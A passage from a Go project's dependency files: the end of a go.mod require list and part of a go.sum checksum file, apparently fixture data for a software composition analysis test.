github.com/szuecs/routegroup-client v0.17.7 github.com/tidwall/gjson v1.7.4 github.com/tklauser/go-sysconf v0.3.5 // indirect github.com/uber-go/atomic v1.4.0 // indirect github.com/uber/jaeger-client-go v2.16.0+incompatible github.com/uber/jaeger-lib v2.0.0+incompatible github.com/yookoala/gofast v0.6.0 github.com/yuin/gopher-lua v0.0.0-20200603152657-dc2b0ca8b37e go.uber.org/atomic v1.4.0 // indirect golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 golang.org/x/net v0.0.0-20210415231046-e915ea6b2b7d golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45 golang.org/x/sync v0.0.0-20210220032951-036812b2e83c golang.org/x/sys v0.0.0-20210415045647-66c3f260301c // indirect golang.org/x/tools v0.1.0 // indirect google.golang.org/grpc v1.22.0 // indirect gopkg.in/alecthomas/kingpin.v2 v2.2.6 gopkg.in/square/go-jose.v2 v2.3.1 gopkg.in/yaml.v2 v2.4.0 k8s.io/api v0.18.6 k8s.io/apimachinery v0.18.6 layeh.com/gopher-json v0.0.0-20190114024228-97fed8db8427 ) go 1.13 ================================================ FILE: tests/sca_package_2/examples/go.sum ================================================ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.38.0 h1:ROfEUZz+Gh5pa62DJWXSaonyu3StP6EA6lPEXPI6mCo= cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= github.com/Azure/go-autorest/autorest v0.9.0/go.mod h1:xyHB1BMZT0cuDHU7I0+g046+BFDTQ8rEZB0s4Yfa6bI= github.com/Azure/go-autorest/autorest/adal v0.5.0/go.mod h1:8Z9fGy2MpX0PvDjB1pEgQTmVqjGhiHBW7RJJEciWzS0= github.com/Azure/go-autorest/autorest/date v0.1.0/go.mod h1:plvfp3oPSKwf2DNjlBjWF/7vwR+cUD/ELuzDCXwHUVA= github.com/Azure/go-autorest/autorest/mocks v0.1.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0= github.com/Azure/go-autorest/autorest/mocks v0.2.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0= github.com/Azure/go-autorest/logger v0.1.0/go.mod h1:oExouG+K6PryycPJfVSxi/koC6LSNgds39diKLz7Vrc= github.com/Azure/go-autorest/tracing v0.5.0/go.mod h1:r/s2XiOKccPW3HrqB+W0TQzfbtp2fGCgRFtBroKn4Dk= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ= github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0= github.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0= github.com/PuerkitoBio/urlesc v0.0.0-20160726150825-5bd2802263f2/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE= github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE= github.com/StackExchange/wmi v0.0.0-20190523213315-cbe66965904d h1:G0m3OIz70MZUWq3EgK3CesDbo8upS2Vm9/P3FtgI+Jk= github.com/StackExchange/wmi v0.0.0-20190523213315-cbe66965904d/go.mod h1:3eOhrUMpNV+6aFIbp5/iudMxNCF27Vw2OZgy4xEx0Fg= github.com/abbot/go-http-auth v0.4.0 h1:QjmvZ5gSC7jm3Zg54DqWE/T5m1t2AfDu6QlXJT0EVT0= github.com/abbot/go-http-auth v0.4.0/go.mod h1:Cz6ARTIzApMJDzh5bRMSUou6UMSp0IEXg9km/ci7TJM= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc h1:cAKDfWh5VpdgMhJosfJnn5/FoN2SRZ4p7fJNX58YPaU= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf h1:qet1QNfXsQxTZqLG4oE62mJzwPIB8+Tee4RNCL9ulrY= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da h1:8GUt8eRujhVEGZFFEjBj46YV4rDjvGrNxb0KMWYkL2I= github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= github.com/aryszka/jobqueue v0.0.2 h1:LYPhzklo0XFpVF+QtzfP9XRQPEsbJ2EW5Pur6pxxaS4= github.com/aryszka/jobqueue v0.0.2/go.mod h1:SdxqI6HZ4E1Lss94tey5OfjcAu3bdCDWS1AQzzIN4m4= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0 h1:HWo1m869IqiPhD389kmkxeTalrjNbbJTC8LXupb+sl0= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/cenkalti/backoff v2.2.1+incompatible h1:tNowT99t7UNflLxfYYSlKYsBpXdEet03Pg2g16Swow4= github.com/cenkalti/backoff v2.2.1+incompatible/go.mod h1:90ReRw6GdpyfrHakVjL/QHaoyV4aDUVVkXQJJJ3NXXM= github.com/cespare/xxhash/v2 v2.1.1 h1:6MnRN8NT7+YBpUIWxHtefFZOKTAPgGjpQSxqLNn0+qY= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= github.com/cjoudrey/gluahttp v0.0.0-20190104103309-101c19a37344 h1:nTK6O2RY1nHC4jNEJd1nixVP7ygY3QE4CNxCX07dHKU= github.com/cjoudrey/gluahttp v0.0.0-20190104103309-101c19a37344/go.mod h1:X97UjDTXp+7bayQSFZk2hPvCTmTZIicUjZQRtkwgAKY= github.com/cjoudrey/gluaurl v0.0.0-20161028222611-31cbb9bef199 h1:cJ1E8ZwZLfercTX3dywnCAQDilbbi+m2cw3+8tCFpRo= github.com/cjoudrey/gluaurl v0.0.0-20161028222611-31cbb9bef199/go.mod h1:jC+zrjHA5CaxJzn+tojIoIOzSp/6BlkRWXnMlxNkB+g= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd h1:qMd81Ts1T2OTKmB4acZcyKaMtRnY5Y44NuXGX2GFJ1w= github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd/go.mod h1:sE/e/2PUdi/liOCUjSTXgM1o87ZssimdTWN964YiIeI= github.com/coreos/go-oidc v2.0.0+incompatible h1:+RStIopZ8wooMx+Vs5Bt8zMXxV1ABl5LbakNExNmZIg= github.com/coreos/go-oidc v2.0.0+incompatible/go.mod h1:CgnwVTmzoESiwO9qyAFEMiHoZ1nMCKZlZ9V6mm3/LKc= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM= github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= github.com/dimfeld/httppath v0.0.0-20170720192232-ee938bf73598 h1:MGKhKyiYrvMDZsmLR/+RGffQSXwEkXgfLSA08qDn9AI= github.com/dimfeld/httppath v0.0.0-20170720192232-ee938bf73598/go.mod h1:0FpDmbrt36utu8jEmeU05dPC9AB5tsLYVVi+ZHfyuwI= github.com/docker/spdystream v0.0.0-20160310174837-449fdfce4d96/go.mod h1:Qh8CwZgvJUkLughtfhJv5dyTYa91l1fOUCrgjqmcifM= github.com/elazarl/goproxy v0.0.0-20170405201442-c4fc26588b6e/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc= github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc= github.com/emicklei/go-restful v0.0.0-20170410110728-ff4f55a20633/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs= github.com/emicklei/go-restful v2.9.5+incompatible/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs= github.com/evanphx/json-patch v4.2.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= github.com/felixge/httpsnoop v1.0.0 h1:gh8fMGz0rlOv/1WmRZm7OgncIOTsAj21iNJot48omJQ= github.com/felixge/httpsnoop v1.0.0/go.mod h1:3+D9sFq0ahK/JeJPhCBUV1xlf4/eIYrUQaxulT0VzX8= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/ghodss/yaml v0.0.0-20150909031657-73d445a93680/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas= github.com/go-ole/go-ole v1.2.4 h1:nNBDSCOigTSiarFpYE9J/KtEA1IOW4CNeqT9TQDqCxI= github.com/go-ole/go-ole v1.2.4/go.mod h1:XCwSNxSkXRo4vlyPy93sltvi/qJq0jqQhjqQNIwKuxM= github.com/go-openapi/jsonpointer v0.0.0-20160704185906-46af16f9f7b1/go.mod h1:+35s3my2LFTysnkMfxsJBAMHj/DoqoB9knIWoYG/Vk0= github.com/go-openapi/jsonpointer v0.19.2/go.mod h1:3akKfEdA7DF1sugOqz1dVQHBcuDBPKZGEoHC/NkiQRg= github.com/go-openapi/jsonpointer v0.19.3/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= github.com/go-openapi/jsonreference v0.0.0-20160704190145-13c6e3589ad9/go.mod h1:W3Z9FmVs9qj+KR4zFKmDPGiLdk1D9Rlm7cyMvf57TTg= github.com/go-openapi/jsonreference v0.19.2/go.mod h1:jMjeRr2HHw6nAVajTXJ4eiUwohSTlpa0o73RUL1owJc= github.com/go-openapi/jsonreference v0.19.3/go.mod h1:rjx6GuL8TTa9VaixXglHmQmIL98+wF9xc8zWvFonSJ8= github.com/go-openapi/spec v0.0.0-20160808142527-6aced65f8501/go.mod h1:J8+jY1nAiCcj+friV/PDoE1/3eeccG9LYBs0tYvLOWc= github.com/go-openapi/spec v0.19.3/go.mod h1:FpwSN1ksY1eteniUU7X0N/BgJ7a4WvBFVA8Lj9mJglo= github.com/go-openapi/swag v0.0.0-20160704191624-1d0bd113de87/go.mod h1:DXUve3Dpr1UfpPtxFw+EFuQ41HhCWZfha5jSVRG7C7I= github.com/go-openapi/swag v0.19.2/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= github.com/go-redis/redis/v8 v8.3.3 h1:e0CL9fsFDK92pkIJH2XAeS/NwO2VuIOAoJvI6yktZFk= github.com/go-redis/redis/v8 v8.3.3/go.mod h1:jszGxBCez8QA1HWSmQxJO9Y82kNibbUmeYhKWrBejTU= github.com/go-restit/lzjson v0.0.0-20161206095556-efe3c53acc68/go.mod h1:7vXSKQt83WmbPeyVjCfNT9YDJ5BUFmcwFsEjI9SCvYM= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.2-0.20190723190241-65acae22fc9d/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o= github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/protobuf v0.0.0-20161109072736-4bd1920723d7/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= github.com/golang/protobuf v1.4.2 h1:+Z5KGCizgyZCbGh1KZqA0fcLLkwbsjIzS4aV2v7wJX0= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0 h1:0udJVsspx3VBr5FwtLhQQtuAsVc79tTq0ocGIPAU6qo= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.2 h1:X2ev0eStA3AbceY54o37/0PQ/UWqKEiiO2dKL5OPaFM= github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.1.0 h1:Hsa8mG0dQ46ij8Sl2AYJDUv1oA9/d6Vk+3LG99Oe02g= github.com/google/gofuzz v1.1.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gnostic v0.0.0-20170729233727-0c5108395e2d/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY= github.com/googleapis/gnostic v0.1.0/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY= github.com/gophercloud/gophercloud v0.1.0/go.mod h1:vxM41WHh5uqHVBMZHzuwNOHh8XEoIEcSTewFxm1c5g8= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gopherjs/gopherjs v0.0.0-20200217142428-fce0ec30dd00/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-immutable-radix v1.0.0 h1:AKDB1HM5PWEA7i4nhcpwOrO2byshxBjXVn/J/3+z5/0= github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= github.com/hashicorp/go-msgpack v0.5.3 h1:zKjpN5BK/P5lMYrLmBHdBULWbJ0XpYR+7NGzqkZzoD4= github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= github.com/hashicorp/go-multierror v1.0.0 h1:iVjPR7a6H0tWELX5NxNe7bYopibicUzc7uPribsnS6o= github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= github.com/hashicorp/go-sockaddr v1.0.0 h1:GeH6tui99pF4NJgfnhp+L6+FfobzVW3Ah46sLo0ICXs= github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= github.com/hashicorp/go-uuid v1.0.0 h1:RS8zrF7PhGwyNPOtxSClXXj9HA8feRnJzgnI1RJCSnM= github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1 h1:0hERBMJE1eitiLkihrMvRVBYAkpHzc/J3QdDN+dAcgU= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/memberlist v0.1.4 h1:gkyML/r71w3FL8gUi74Vk76avkj/9lYAY9lvg0OcoGs= github.com/hashicorp/memberlist v0.1.4/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/imdario/mergo v0.3.5/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/instana/go-sensor v1.4.16 h1:0tMdsO4WdduVhT0nJjriBp+tv+36d8Q1/8m6vUy9gS8= github.com/instana/go-sensor v1.4.16/go.mod h1:P1ynE0u78bUBZ2GkWewRpAO1/w1oW9CKDozeueH6QSg= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= github.com/json-iterator/go v1.1.8 h1:QiWkFLKq0T7mpzwOTu6BzNDbfTE8OLrYhVKYMLF46Ok= github.com/json-iterator/go v1.1.8/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/konsorten/go-windows-terminal-sequences v1.0.1 h1:mweAR1A6xJ3oS2pRaGiHgQ4OO8tzTaLawm8vnODuwDk= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.5/go.mod h1:9r2w37qlBe7rQ6e1fg1S/9xpWHSnaqNdHD3WcMdbPDA= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20210210170715-a8dfcb80d3a7 h1:YjW+hUb8Fh2S58z4av4t/0cBMK/Q0aP48RocCFsC8yI= github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20210210170715-a8dfcb80d3a7/go.mod h1:Spd59icnvRxSKuyijbbwe5AemzvcyXAUBgApa7VybMw= github.com/lightstep/lightstep-tracer-go v0.24.1-0.20210318180546-a67254760a58 h1:qPPXc3iS7MH/+rrKjoWJvAxl0ju66uPTYiTupe7OIUM= github.com/lightstep/lightstep-tracer-go v0.24.1-0.20210318180546-a67254760a58/go.mod h1:dUti2qkbGISTJF6xN0Jj6/WxxNFYDmHJBPGkOaCYAi8= github.com/looplab/fsm v0.1.0 h1:Qte7Zdn/5hBNbXzP7yxVU4OIFHWXBovyTT2LaBTyC20= github.com/looplab/fsm v0.1.0/go.mod h1:m2VaOfDHxqXBBMgc26m6yUOwkFn8H2AlJDE+jd/uafI= github.com/mailru/easyjson v0.0.0-20160728113105-d5b7844b561a/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/miekg/dns v1.1.41 h1:WMszZWJG0XmzbK9FEmzH2TVcqYzFesusSIB41b8KHxY= github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1 h1:9f412s+6RmYXLWZSEzVVgPGK7C2PphHj5RJrvfx9AWI= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/munnerz/goautoneg 